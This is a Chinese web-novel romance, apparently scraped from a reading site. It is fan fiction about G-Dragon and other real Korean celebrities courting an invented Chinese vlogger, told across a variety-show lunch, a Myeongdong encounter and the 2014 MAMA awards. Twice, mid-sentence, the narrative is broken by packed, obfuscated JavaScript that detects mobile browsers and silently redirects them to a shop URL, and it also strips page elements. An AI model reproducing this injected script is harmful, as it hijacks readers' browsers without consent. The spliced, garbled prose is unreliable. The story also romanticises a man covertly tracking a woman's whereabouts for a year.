《[娱乐圈]满级闲鱼,在线钓龙》 1. 他先忍不住的 2025年·首尔·Good Day录制现场·午餐间隙 节目的录制已经进行了一上午。 今天录制的主题是“朋友”,所以阵容相当豪华—— 金希彻、李朱赫、永培、大声、CL,还有主持人赵老师,以及......金欢。 金欢出现在节目里本身就是个大新闻。她很少上电视,更少在韩国综艺里露脸。但权至龙说服了她——“你就来吃顿饭,聊聊天,不用表演任何东西。” 于是她来了。 素颜,白色T恤,牛仔裤,帆布鞋。像来朋友家串门,不是来录节目。 工作人员把餐食端上来——烤肉、泡菜汤、拌饭、海鲜饼,摆了满满一桌。嘉宾们围着矮桌坐下,镜头还开着,但气氛松弛了很多。 金希彻第一个拿起筷子,夹了一块五花肉塞进嘴里,含混不清地说:“饿死了,早上六点就起来做妆造,结果金欢素颜来的,我妆白化了。” 金欢淡定地夹了一片生菜:“你化不化都那样。” 金希彻:“……你这话是夸还是骂?” 金欢:“你猜。” CL坐在大声旁边,优雅地切着烤肉。她是后来才到的,行程太满,只能赶上午餐部分。但她的出现让现场的气氛又热了几分。 李朱赫坐在金欢对面,安静地喝着汤,嘴角微微弯了一下。他一贯话少,但每次开口都能精准补刀。 金欢和李朱赫认识很久了。 金爸爸那两年在拓展韩国市场。高二暑假,金欢和妈妈去韩国看望爸爸,在一次饭局上认识了李朱赫一家。 那时候李朱赫还没现在这么红,就是个长得特别帅、话特别少的模特。金欢那年十六岁,扎着马尾,素面朝天,在满是韩语翻译的饭局上一点也不怯场,用蹩脚的英语跟李朱赫聊了半个小时。 李朱赫后来跟别人形容那天的金欢:“她像个自带翻译器的喜剧演员。” 两人从那时起就保持着联系。金欢每次来韩国都会找李朱赫吃饭,李朱赫去中国出差也会约她见面。他们是那种不需要天天联系、但一见面就回到最舒服状态的朋友。 权至龙坐在金欢旁边。 说“坐”不太准确,因为他整个人是歪向她的。右肩贴着金欢的左肩,右腿靠着她的左腿,夹菜的时候右手绕过她身后去拿离她最远的那盘肉,看起来就像把她圈在了怀里。 金欢被他挤得往左边歪了歪,面无表情地往右推了他一下。 权至龙纹丝不动。 金欢又推了一下。 权至龙岿然不动。 金希彻看不下去了:“权至龙,你能不能好好坐着?这是录节目,不是你家沙发。” 权至龙理直气壮:“沙发也是这么坐的。” 永培在旁边补了一句:“他在家也这样,我见过。” 大声立刻接话:“什么时候?” 永培:“去年去他家吃饭,金欢在厨房做饭,他就靠在厨房门框上看着她,那个姿势——站了四十分钟。” 大声震惊了:“四十分钟?他不累吗?” 永培意味深长地笑了:“他可能不觉得累。” 金欢的耳朵尖开始泛红了。 赵老师终于开口了,声音不大,但语出惊人:“所以你们两个,到底谁追的谁?” 李朱赫放下汤碗,慢悠悠地说:“你追她的时候要是也这么理直气壮,就不用等七个月了。” 现场的工作人员憋笑憋得很辛苦。 金欢听到“七个月”三个字,夹肉的动作顿了一下,耳朵尖又红了一度。 但她面上没有任何表情变化,把肉放进嘴里,嚼了嚼,咽下去,然后说:“这肉烤得不错。” 权至龙看着她泛红的耳尖,笑了。 那种“我知道你在装”的笑。 金希彻不打算放过这个话题。他放下筷子,对着镜头露出一个“我要搞事情”的表情。 “观众朋友们,今天我要把这个故事从头到尾讲一遍。权至龙不让说的那些细节,我今天全抖出来。” 权至龙:“hiong。” 金希彻:“你别叫我hiong,叫爹都没用。” 他清了清嗓子,开始说。 “故事要从2014年说起。那一年,金欢还是个普通的中国自媒体博主,来首尔旅游。权至龙呢,在明洞街头跟她擦肩而过——金欢根本没看见他,但权至龙看见金欢了。” 权至龙拿起水杯喝了一口水,没否认。 金希彻继续说:“你们知道权至龙这个人,他见过多少美女?但他说,那天在明洞,他就看了一眼,就记住了。你们说这是不是一见钟情?” 金欢终于开口了:“他那不叫一见钟情,叫见色起意。” 权至龙转头看她:“你对自己长相的评价就是‘色’?” 金欢:“不然呢?” 权至龙:“……你说得对。” 永培在旁边笑出了声。他认识权至龙二十年多年,从练习生时期就一起熬过来,从来没见过权至龙被噎成这样还笑着的。 大声凑过来小声跟CL说:“志龙哥在金欢面前就跟变了个人似的。” CL头都没抬,淡定地说了句:“他本来就那样,只是以前没人让他现原形。” 金希彻拍桌子:“你们别打岔!重点来了——权至龙当时不知道她是谁,只在街头看了一眼。但这个人,你们知道他做了什么吗?他回去之后在YouTube上搜了很久,想找到那个女生。没找到。” 权至龙听到这里,放下水杯,忽然开口了。 “后来是洙赫告诉我的。” 所有人的目光转向权至龙,又转向李朱赫。 李朱赫正在夹一块泡菜,动作不急不慢,好像他们讨论的事情跟自己无关。 权至龙说:“我跟洙赫吃饭的时候提了一嘴,说在明洞见过一个中国女生,在拍视频,素颜,长得很漂亮。我就随口一说,也没抱希望他能找到。” 他顿了顿,看向李朱赫。 “结果他说——‘你说的该不会是金欢吧?’” 金希彻瞪大了眼睛:“等等,洙赫那时候就认识金欢了?” 金欢替李朱赫回答了:“2010年就认识了。我高二,来韩国看我爸,饭局上认识的。” 金希彻震惊地看向李朱赫:“你认识她十五年了?从来没跟权至龙提过?” 李朱赫终于抬起头,平静地说:“为什么要提?金欢是我的朋友,不是他的资源。” 这句话说得不重,但分量很足。 现场安静了一瞬。 权至龙点头,语气里没有任何不满:“他说得对。那天之前,他从来没跟我说过金欢。” 金希彻追问:“那那天之后呢?” 李朱赫把泡菜放进嘴里,嚼完了才慢悠悠地说:“我告诉他,那个女生叫金欢,中国人,做自媒体的。然后给了他社媒账号。” “就这样?”金希彻问。 “就这样。”李朱赫说,“后面的事,是他自己做的。” 权至龙接过了话:“我拿到她的账号之后,把她所有的视频都看了一遍。” “所有的?”金希彻追问。 “所有的。”权至龙说,“她当时大概发了七八十个视频,从她在上大学开始拍的。我花了两三个晚上,全看完了。” 现场安静了一瞬。 赵老师放下筷子,难得地露出了感兴趣的表情:“两三个晚上看完七八十个视频?你不睡觉的?” 权至龙没回答这个问题。 但CL替他说了:“他那时候刚结束巡演,本来应该休息的。” 她看了权至龙一眼,语气里带着点“我什么都知道”的味道:“结果经纪人说他那几天几乎没出门,连工作室都不去了,就窝在家里看手机。” 大声补刀:“永培哥还担心他是不是抑郁了。” 永培笑着摇头:“我真的打电话问了,他说‘没事,在看一个很有意思的东西’。我问是什么,他说‘一个中国女生吃鱼饼’。” 金希彻笑到拍桌子:“一个中国女生吃鱼饼!你为了看一个女生吃鱼饼,让全队以为你抑郁了!” 金欢的耳朵已经红透了。 但她依然面无表情地吃着拌饭,好像他们讨论的不是她。 金希彻替观众问出了那个问题:“你看完那些视频之后呢?就只是看看?” 权至龙沉默了几秒。 “我发现她很有趣,”他说,“她是真的不在乎镜头。不化妆,不滤镜,想说什么说什么。她跟她家猫狗说话的时候,比跟人说话还认真。她吃东西的时候,让人觉得那东西真的很好吃。” 他顿了顿。 “而且她完全不关注韩国娱乐圈。她路过YG大楼,连张正经照片都没拍。她不知道我是谁。” 永培听到这里,轻轻“啊”了一声。 他是少数知道全部故事的人。权至龙在2014年底就跟他说过——“我好像喜欢上了一个中国女生。” 永培当时问:“你见过她?” 权至龙说:“没有,但我在视频里看过她。” 永培觉得他疯了。 现在回想起来,永培觉得,可能真的是疯了。 金希彻瞪大了眼睛:“所以你就产生了征服欲?” 权至龙摇头:“不是征服欲。” 他又想了想,好像在斟酌措辞。 “是好奇心。我想知道,一个人完全不把我当回事,是因为她真的不在意,还是装的。” 金欢终于抬起头看了他一眼:“那你现在知道了吗?” 权至龙对上她的目光:“知道了。你是真的不在意。” 金欢嘴角微微翘了一下:“那你还追?” 权至龙笑了:“因为你不在意,所以我在意。” 金希彻被肉麻得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484915|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了个哆嗦,大声夸张地捂住了眼睛,CL面无表情地喝了口汤。 但金希彻没打算停在这里。他今天就是来爆料的。 “观众朋友们,接下来才是重点。你们以为2015年权至龙跟金欢‘偶然’认识,是真的偶然吗?” 金欢夹菜的手停了。 她转头看向权至龙。 权至龙的表情没变,但耳根——他的耳根红了。 金希彻笑得像只偷到腥的猫:“2015年,金欢来韩国留学。她不知道的是,权至龙从2014年秋天开始,就在关注她的社媒账号。她发的每一条动态、每一个视频、每一张照片,他都看过。他知道金欢什么时候来的韩国,知道她进了梨花女子大学,知道她住在哪个区,知道她养了一只猫和一只狗。” 他每说一句,权至龙的耳根就红一分。 “所以当李朱赫说‘我有个朋友刚从中国来,要不要一起吃个饭’的时候,权至龙问的第一句话是——‘是金欢吗?’” 现场彻底安静了。 所有人都看向权至龙。 权至龙没有否认。 他拿起水杯又喝了一口水,喉结上下滚动了一下,然后放下杯子,说了一句让所有人倒吸一口凉气的话。 “那次见面,不是偶遇。是我让洙赫安排的。” 金欢手里的筷子停在半空中。 她慢慢转头看向权至龙。 权至龙也看着她。 两个人对视了大概三秒钟。金欢的耳朵已经红透了,但她的表情依然是那种让人牙痒痒的淡定。 “所以,”她一字一顿地说,“你蓄谋已久?” 权至龙点头。 “一年多?” 权至龙又点头。 金欢放下筷子,靠在椅背上,深吸了一口气。 然后她说了一句话,让金希彻当场笑到趴在了桌子上。 她说:“我以为是我在装傻,原来你才是那个下棋的人。” 权至龙看着她,眼睛里有光。 “你装傻的时候很可爱,”他说,“我不想打破。” 永培看着这一幕,轻轻摇了摇头。他想起2015年权至龙跟他说“我要跟她见面了”时那个紧张的样子——那不是权至龙,那是一个第一次心动的普通男人。 大声凑过来小声说:“哥,你当时不觉得志龙哥疯了吗?” 永培想了想,诚实地回答:“觉得。但现在不觉得了。” 大声:“为什么?” 永培看了一眼金欢,又看了一眼权至龙,说:“因为他们在一起的时候,志龙是我见过的最好的版本。” CL听到了这句话,难得地点了点头。 金希彻笑够了之后,抹着眼泪问李朱赫:“洙赫,你当时知道权至龙让你组局是为了追金欢吗?” 李朱赫想了想,说了一个字:“知道。” 金希彻:“那你为什么帮他?” 李朱赫看了金欢一眼。 “因为我知道金欢不会因为他是个明星就改变态度。”他说,“她见权至龙和见普通人,没有区别。权至龙在她面前,只能做他自己。” 他顿了顿。 “而且,权至龙看她的眼神,跟看别人不一样。” 金欢听到这句话,终于没有维持住淡定的表情。 她别过头去,假装在看墙上的装饰画。 但她的耳朵出卖了她——红得像要滴血。 赵老师观察着这一切,忽然开口了。 “所以,你们从2014年到2015年,一个在明洞擦肩而过,一个在网上看了对方一年的视频。然后2015年见面的时候,一个装成第一次见,一个装成不认识对方。” 他总结道:“你们两个人,演了小一年。” 权至龙笑了。 金欢也笑了。 两个人同时笑了,笑得心照不宣,笑得好像全世界只有他们两个人知道这个秘密。 赵老师看了看他们两个,转头对着镜头说:“观众朋友们,我现在终于理解了,为什么这两个人能在一起。因为他们都不是一般人。” 他顿了顿,补充了一句:“一个比一个能忍。” 金希彻最后总结了一句:“所以观众朋友们,你们现在知道了吧?这段关系里,没有谁是被动的。两个人从2014年那个擦肩而过开始,就已经在下一盘很大的棋了。” 他顿了顿,做了个鬼脸。 “而我和李朱赫,一个是被利用的棋子,一个是主动递刀的红娘。” 李朱赫看了他一眼:“你是棋子。我不是。” 金希彻:“???” 永培举起酒杯:“不管过程怎么样,结果是好的。来,干杯。” 权至龙在桌下握住了金欢的手。 金欢没有甩开,也没有回握,就让他握着。 十指没有交缠,但掌心贴着掌心,温度慢慢传过去。 2. 擦肩而过 北京,某小区。 金欢的早晨是从被初一踩醒开始的。 初一(美短)踩在她胸口,琥珀色的眼睛注视着她。金欢迷迷糊糊地伸手去摸,摸到一手猫毛。 “呀,初一……你是不是又掉毛了……” 初一嫌弃地躲开她的手,跳下床,踩着优雅的猫步走了。 金欢翻了个身,把脸埋进被子里,试图继续睡。 然后五一来了。 五一(边牧)叼着她的拖鞋站在床边,尾巴摇得像直升机的螺旋桨,整只狗散发着一种“快起来快起来快起来”的兴奋气息。 金欢知道,如果她再不起床,五一就要开始搞事情了。上次她赖床,五一直接咬着她的衣服往下拽。 “好好好,起起起。”金欢认命地坐起来,头发炸成一个鸟窝。 自从有了初一、五一,金欢就再也不能赖床好好睡觉了。金妈妈笑着说:“终于有人...哦,不,有猫狗治你了。” 她趿拉着拖鞋走出房间,路过客厅时看到茶几上摆着一盘切好的水果,旁边压着一张纸条,是妈妈的字迹: “欢欢,水果记得吃,冰箱里有姥爷送来的酱牛肉,微波炉叮一下就行。爸妈去超市了,中午不回来吃。” 金欢把纸条翻过来,背面还有一行小字: “别老吃麦当劳,对身体不好。” 金欢假装没看见最后那句,打开手机点了个麦麦早餐,然后叼着一片苹果去洗漱。 镜子里的脸素面朝天,眼角那颗红痣像一颗小小的朱砂,衬得整张脸明艳又生动。金欢对着镜子做了个鬼脸,然后开始慢吞吞地刷牙。 这就是金欢的日常——如果用一个词来形容她的人生,那就是“咸鱼”。 拆三代的身份让她从出生就站在了别人奋斗的终点线上。 爷爷奶奶承包的大山农场、姥姥姥爷的大饭店、爸爸的物流公司、妈妈的连锁超市。全家上下没有一个不拼的,全是事业批,偏偏到了她这一代,出了一个“只要平安健康就好”的宝贝疙瘩。 金欢从小就知道自己命好。小时候常常赖在村子里,跟着姥爷在灶台边转悠,姥爷颠勺她递调料,姥爷炖汤她尝咸淡。 姥爷早年是村厨,后来开了大饭店,做了一辈子饭,养了一张刁嘴。“老吃家”三个字写在金欢基因里。 “欢欢这张嘴,”姥爷逢人就夸,“比我还灵,咸了淡了差了半钱都能吃出来。” 除了吃,金欢的第二大爱好就是看帅哥,这事儿她从来不藏着掖着。从ny到hy——她的“老公”名单更新频率比微博热搜还快。唯独权至龙不在金欢的名单上。 “你这叫喜欢吗?”林夕曾经吐槽她,“你这叫见一个爱一个。” “我这是欣赏!”金欢义正辞严,“美好的事物谁不喜欢?” “那你倒是专一点啊!” “我很专一啊,”金欢掰着手指头数,“我一直都喜欢帅哥,这个点从来没变过。” 林夕被她这套歪理噎得说不出话。 2014年8月,首尔 金欢和妈妈来首尔陪爸爸出差,顺便考察一下韩国的学校,准备明年留学看帅哥。 来之前她顺手发了一个“暑假日常”,随手记录一下生活——日常咸鱼生活、躺在床上吃零食追剧,结果莫名其妙爆了。 评论区全是【哈哈哈哈哈哈这女的太逗了】【这是什么神仙生活我也想当咸鱼】【姐姐嘴皮子也太溜了吧】。 金欢看着后台暴涨的数据,歪了歪头:“哦?这东西有人看?” 于是她决定趁在首尔的机会,拍一个“韩国之旅”。反正闲着也是闲着。 那天的行程是明洞。金欢素着一张脸,头发随便扎了个头发,手里举着相机,一边走一边碎碎念。 “朋友们看,这就是明洞,人好多,跟我家那边的早市差不多——” 她路过一家店,余光瞥见一个身影。 瘦瘦的、穿着一身黑的身影,戴着帽子和口罩,低头快步走过。 金欢的相机无意间扫到了那个方向,但她的注意力全被旁边摊位的炒年糕吸引了,镜头很快转了过去。 两个人擦肩而过,距离不到一米。 金欢没有任何感觉。她甚至没有看清那个人的脸,但那个人看清了她。 权至龙后来无数次回忆起这个瞬间。 他说他记得她眼角那颗红痣,记得她素面朝天的脸在首尔满街精致妆容的女孩里格外扎眼,举着相机的姿势很随意,说话的声音是那种带着京片子的、懒洋洋的、好像对什么都不在乎的语气。 “我当时就觉得,”权至龙靠在沙发上,手指绕着金欢的头发,“这个人好特别。” “你就是见色起意。”金欢窝在他怀里,头也不抬地翻手机。 “不是。”权至龙认真地摇头,“是……命中注定的感觉。” “得了吧,”金欢嗤笑,“你就是看我没化妆觉得新鲜。” “……”权至龙沉默了一下,“也有这个成分。” 金欢一巴掌拍在他胳膊上。 那天晚上,金欢回到酒店,正躺在床上剪视频素材,手机突然疯狂震动。 林夕的微信消息一条接一条地砸过来,震得金欢手机都快拿不住了。 “啊啊啊啊啊啊啊欢!!!你今天的视频!!!” “你猜我在你视频里看到谁了!!!” “权至龙!!!是权至龙!!!” “你路过那家店的时候,旁边走过去的那个人!!!是权至龙!!!” “我截图放大了一百倍!!!那个口罩那个帽子那个走路姿势!!!就是他!!!” 金欢看着屏幕上一连串的感叹号,面无表情地打字:“你冷静一下。” “我冷静不了!!!” 林夕秒回,还附了三个尖叫的表情包,“你知道我追了他多少年吗!!!你倒好,去趟首尔,随随便便就跟他擦肩而过了!!!” “我又不是故意的,”金欢翻了个白眼,“他走他的,我拍我的,关我什么事。” “你不懂!!!” 林夕发了张截图,把视频里那个模糊的黑色身影用红圈标了出来,旁边还放了一张权至龙同期的机场照做对比——全部对得上,“你看你看你看!!!就是他对不对!!!” 金欢放大了截图,眯着眼睛看了三秒。 “……好像是有点像。” “不是有点像!就是!!!” 林夕继续输出,“金欢你知不知道你运气有多好!!!我蹲了这么多年都没见过真人!!!只能在演唱会上看看,你去买炒年糕的路上就随随便便跟他擦肩而过了!!!” “那我下次不去买炒年糕了。” “你敢!!!” 林夕又发了条语音,声音大到金欢本能地把手机从耳边拿远了十公分,“你给我认真听好,你不是说想去韩国留学吗?你给我去!去了之后,一定要给我偶遇权至龙!一定要帮我要签名!最好是to签!写上‘To 全世界最美丽的林夕’!” “你脸呢?” 金欢打字。 “被你吃了!!!” 林夕理直气壮,“你就说你帮不帮吧!” 金欢想了想,回复:“看心情。” “金欢!!!” “好好好,”金欢终于笑了,慢悠悠地打字,“帮帮帮。我要是真在首尔碰见他,一定帮你要签名。行了吧?” “这还差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484916|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多,”林夕的语气瞬间从暴怒转成了谄媚,“我就知道你最好了欢欢!你的运气我一向是服的!你从小到大,抽奖从来没空过、排队永远是最快的那一队、连买瓶饮料都能是‘再来一瓶’!你要是去首尔留学,权至龙迟早是你的囊中之物!” 殊不知,将来这句话真的被应验了。 “什么叫‘我的囊中之物’?” 金欢被她这用词逗笑了,“我就去读个书,又不是去绑架他。” “你不懂!运气好的人干什么都顺!” 林夕斩钉截铁,“你就等着吧,你肯定会再碰到他的!到时候帮我要签名!!!” 金欢把手机扔在床上,笑着摇了摇头。 “这疯女人,”她自言自语,但嘴角一直翘着。 她重新拿起手机,翻到林夕发来的那张截图。画面里,那个模糊的黑色身影正在跟她擦肩而过,而她当时的注意力全在炒年糕摊子上。 “权至龙……”金欢念了一遍这个名字,歪了歪头。 她对这个名字的全部认知都来自林夕,把权至龙的海报贴在床头、连微信头像都是GD照片的狂热粉丝。 那个视频发出去之后,彻底爆了。 【等等等等!!!0.5倍速看第3分27秒!!!那个人是不是GD!!!】 【我截图放大对比了!帽子是他常戴那款!走路姿势也对得上!!!】 【金欢你跟权至龙擦肩而过了你知道吗!!!】 【这是什么神仙运气啊随便拍个视频都能拍到GD】 【姐姐你是不是跟权至龙有什么命中注定的缘分】 金欢看着评论区,愣了一下。 她把视频导回剪辑软件,逐帧看了那段画面,确实,那个身影轮廓、走路姿态,跟林夕发来的截图对比,几乎一模一样。 “还真是他?” 金欢嘟囔了一句,然后耸了耸肩,“算了,反正又不认识。” 她没有蹭这个热度,甚至在视频简介里都没提这件事。但“金欢视频拍到权至龙”这个话题还是上了热搜,她的粉丝量直接冲破了百万大关。 林夕的电话又来了。 “你看你看你看!我就说是他吧!!!全网都认出来了!!!” 林夕在电话那头兴奋得像是她自己中了彩票,“金欢你这是什么体质啊!随便拍个视频都能跟GD同框!” “同什么框,”金欢无语,“就是路过了一下。” “路过也是缘分!” 林夕斩钉截铁,“你等着吧,你肯定还会再见到他的。我跟你说,运气这种东西是有惯性的,你既然能擦肩而过一次,就一定能擦肩而过第二次、第三次!到时候你一定要给我要签名!” “行行行,”金欢敷衍地应着,“签名签名。” “不要敷衍我!” “没有敷衍。” “那你重复一遍我的要求。” 金欢深吸一口气,用一种毫无感情的语调背诵:“帮林夕要权至龙的签名,最好是to签,写‘To 全世界最美丽的林夕’。” “还有‘我永远爱你’!” “……你怎么不加个‘林夕是我唯一的女神’?” “可以加吗?!” 林夕的声音瞬间拔高了八度。 “不可以。” 金欢面无表情地挂了电话。 但挂了电话之后,她靠在床头,盯着天花板发了一会儿呆。 首尔、权至龙、擦肩而过。 她又想起林夕说的那句话:“运气好的人干什么都顺。” 她打开电脑,开始搜索梨花女子大学的申请页面。 “权至龙?谁啊,”她对着屏幕嘀咕,“我的目标是帅哥。”至于那个擦肩而过的身影,早就被她忘到了九霄云外。 3. 2014MAMA 香港亚洲国际博览馆 金欢觉得自己是被绑来的。 准确地说,是被林夕的狂热和一张前排票绑来的。 “你知不知道这张票我花了多少钱?!”出发前三天,林夕在电话里吼,“你知不知道我省了多久的饭钱?!你知不知道——” “知道了知道了,”金欢把手机拿远了一点,“我去,我去还不行吗。” “这还差不多!”林夕的语气瞬间从暴怒转成了兴奋,“我跟你说,座位超好!就在地团后面第一排!第一排你懂吗!” 金欢的眼睛瞬间亮了。 “吴世埙的后面?” “……你能不能别只记住帅哥的名字。” “那你还想让我记住谁?” 林夕深吸一口气,决定放弃跟一个颜狗讲道理。 “我跟你讲,”金欢有一次跟林夕科普,“地团的颜是那种,你知道吧,就是那种每个成员都好看,但好看得完全不一样。吴世埙是清冷挂的,不笑的时候像高岭之花,笑的时候又像小奶狗。” “打住,”林夕举手投降,“我不想听你分析每个男爱豆的长相。” “我还没说......呢” “闭嘴吧你。” “我去,”金欢语气斩钉截铁,“必须去。” “你刚才不是说知道了知道了吗!” “刚才没有动力,”金欢理直气壮,“现在有了。” 林夕气得想顺着信号爬过去打她。 出发那天,林夕带了个巨大的应援包,里面塞着两个皇冠灯、一沓权至龙的手幅、一个自制的权至龙发箍,还有一本相册——里面全是权至龙的照片,从出道到现在,按年份排列,每张都覆了膜。 “你带相册干什么?”金欢目瞪口呆。 “万一有机会签名呢!” “你觉得在这种几万人的场子里,你有机会让他签名?” “万一呢!” 她把那个发箍拿起来看了看,做工粗糙但能看出来很用心,字母的边缘剪得很整齐,亮片是一颗一颗粘上去的,胶水的痕迹都处理得很干净。 “你做的?” “做了两个月,”林夕抢过发箍,小心翼翼地戴在头上,“怎么样?” 金欢看了看发箍,又看了看林夕那张写满了“快夸我”的脸。 “挺好的,”她说,“就是有点……闪。” “闪就对了!GD就是闪闪发光的人!” 金欢没有反驳。她把相机挂好,检查了一遍电池和储存卡,两张卡都是空的,足够拍照片了。 到了场馆门口,金欢才真正见识到了什么叫“追星”。 人山人海。各种应援棒、应援巾、应援服,五颜六色,五花八门。有的粉丝举着巨大的手幅,有的粉丝脸上贴着贴纸,还有一群人在门口合唱大棒的歌,唱得还挺好听。 “你看你看!”林夕指着那群人,“那是站子组织的,她们从早上就开始排队了!” 金欢看着那群姑娘冻得通红的脸和闪闪发光的眼睛,感慨道:“你们粉丝真不容易。” “那是,”林夕骄傲地挺起胸,“为了哥哥,什么都值得。” 她们的位置确实好得离谱,就在舞台正对面,地团座位区的正后方第一排,抬头就能看见舞台,低头就能看到前面那些明星的后脑勺。 “你这个票到底花了多少钱?”金欢凑到林夕耳边问。 “别问。” “我想知道。” “你不想知道。” “林夕——” “我吃了一个月的泡面,够了吗?”林夕面无表情地说。 金欢沉默了一下,然后拍了拍她的肩膀。 “值了。” “真的吗?” “真的,”金欢指了指前面地团的空座位,“这个位置,能看清吴世埙有几根睫毛。” “……你能不能正经一点?” “我很正经啊,”金欢无辜地眨眨眼,“睫毛数量是很重要的数据。” 林夕一巴掌拍在她胳膊上。 “来了来了来了!”林夕抓着她的胳膊,指甲都快掐进肉里了。 “吴世埙!”金欢小声尖叫了一下,手指疯狂按快门。 吴世埙一袭西装外套,领口微微敞开,刘海随意地搭在额前,在他坐下来的那一刻,他侧头跟旁边的人说了一句话,嘴角弯了一下。 金欢的相机精准地捕捉到了那个瞬间。 “拍到了拍到了!”她兴奋地小声说,“他笑了!吴世埙笑了!” “你小点声!”林夕急得掐她,“别让前面听见!” 金欢赶紧捂住嘴,但眼睛还是亮晶晶的。 金欢的相机快门声就没停过。 “你能不能控制一下自己?”林夕在旁边翻白眼。 “不能,”金欢理直气壮,“我是颜狗,颜狗不需要控制自己。” 林夕绝望地闭上了眼睛。 吴世埙坐下来之后,金欢发现了一个严重的问题,他的后脑勺对着她。 “我看不到他的脸了,”她哀嚎。 “你本来就只能看后脑勺,”林夕幸灾乐祸,“你以为你是他女朋友啊?” “你能不能别说这种扎心的话?” “不能。” 金欢嘟着嘴,调整了一下坐姿,试图从侧面找到一个能看到吴世埙侧脸的角度。她整个人歪向左边,脖子伸得老长,姿势极其不雅。 “你在干什么?”林夕看着她扭曲的姿势,目瞪口呆。 “找角度。” “你看起来像一只扭了脖子的鸡。” “闭嘴,为了帅哥,值了。” 就在金欢忙着找角度拍吴世埙的时候,另一双眼睛正在注视着她。 权至龙和永培入场的时候,目光习惯性地扫过全场,舞台、摄像机、观众席、粉丝。 他的视线在地团附近停了一下,看到有一个女孩正以一种极其扭曲的姿势伸着脖子往地团的方向看,滑稽得像一只探头探脑的猫。 他嘴角微微弯了一下,然后收回目光,走向座位区。 他认出来了,明洞,那个视频,那个举着相机的女孩。 他当时多看了她一眼,因为在首尔,不化妆出门的女孩实在太少了。 然后他注意到她眼角那颗痣,像一滴朱砂,点在白皙的皮肤上,醒目又生动。 后来他在网上看到了那个视频。是经纪人发给他的:“哥,你被人拍到了。” 他点开视频,看到了自己的背影,也看到了那个举着相机的女孩。她在视频里笑嘻嘻地买炒年糕、跟摊主比划、对着镜头说“这个看起来好好吃”。 看了两遍,再后来,他在李朱赫的手机里又看到了她。 “这个女孩,”李朱赫指着屏幕上的金欢说,“我认识,中国来的,很可爱。” 权至龙不动声色地记下了她的账号,然后他开始关注她。 权至龙觉得自己有点不对劲,他的世界里,音乐、舞台,才是最重要的。女人?有过,但从来不是他生活的重心。但这个远在中国的、甚至不是他粉丝的女孩,让他产生了一种奇怪的感觉。 他想知道她在想什么,想知道她说话的时候为什么总是那么好笑,想知道她眼角那颗痣在阳光下是什么颜色。 现在,她就在他面前。坐在地团后面,看着地团。准确地说,看着吴世埙。 权至龙的眉头微微皱了起来。 她在笑,对着吴世埙笑。吴世埙刚才不知道说了什么,旁边的成员都笑了,她也跟着笑了,笑得眼睛弯成月牙形,露出两颗小虎牙。 权至龙的表情变了,有一种自己看上的东西被别人偷走了的感觉。 “你在看什么?”永培顺着他的目光看过去。 “没什么。” 永培看了看那个方向,又看了看权至龙的侧脸,嘴角弯了一下。 “是那个女孩吗?穿白毛衣的。” “……你管我看谁。” 永培笑了,没有继续追问。 颁奖礼开始了。 金欢的相机几乎没放下来过。 “吴世埙刚才又笑了,”她兴奋地跟林夕汇报,“他跟嘟嘟说了什么,然后两个人都笑了——我拍到了!双人份的快乐!” “你能不能把你的注意力分一点给其他艺人?”林夕无语地说,“比如我们大棒?” “大棒也有帅哥吗?” “权至龙不帅吗?!” 金欢想了想,“他不是我喜欢的类型。” “你喜欢的类型是什么?” “阳光的、高大的、笑起来好看的。” “那你看看永培,虽然不高大,但是叫永培,多阳光啊。” “你这是在玩文字游戏吗?” 林夕深吸一口气,决定放弃这个话题。 永培《眼鼻嘴》唱完之后,舞台暗了几秒。然后,一阵重低音的电子节拍炸了出来。 权至龙从舞台中央升起来,肩膀精准踩着节拍耸动。 他穿着一件貂皮大衣,活像是个座山雕,下身是黑色皮裤。头发梳成大背头,露出光洁的额头和精致的五官。脖子上戴着一条粗犷的银链,头上压着一定“1988”字样的帽子。 他站在舞台中央,一只手握着麦克风,另一只手随意地垂在身侧。浑身上下都写着“老子就是舞台的王”。 “Hey yo what’s up Hongkong——”瞬间点燃全场。 前奏响起来的时候,金欢还没反应过来。现场的尖叫声从四面八方涌来,像海浪一样层层叠叠,几乎要把音响的声音盖住。 金欢端起相机,不是因为权至龙,是因为职业习惯。她是学编导的,看到好的舞台就想记录。但不得不承认的是,权至龙的舞台表现力确实很强,已经next level了。 拍了几张照片,就把相机放下了。 “你不拍了?”林夕惊讶地问。 “拍够了,”金欢耸耸肩,“主要是等地团。” 林夕翻了个白眼。 权至龙踏着拽拽的步伐边走边开口: “这是年末为引你入虎口而准备下的诱饵 线上没有鱼饵还要钓大鱼的骗子 我的成就,skill每个瞬间像谎言一样 I''m so sorry,but I love you.Just f**k it it’s a quickie.” 歌词像子弹一样从麦克风里射出来,每一句都精准地打在mama脸上。 “好久不见啊MAMA 阵势摆的挺大啊 怕崽子们打架,所以好好分你的猪肉把 我现在已经长大,光看着也挺饱” 这句歌词出来的瞬间,全场炸了。 尖叫声、欢呼声、掌声混在一起,震耳欲聋。有人在尖叫,有人在疯狂地挥舞应援棒,整个场馆像一口沸腾的锅。 “双8年还是8月18日是我的八字 追着我跑一辈子,光长皱纹就是你的八字 我的年纪是2+7有余,更加natrual 我在舞台上做player,而你们还在完fanclub” 他的语速越来越快,flow像一条蛇在节拍之间游走,时而急促,时而慵懒。 “Show Me the Money?! Don''t even know much i have 金表金项链也真是可爱 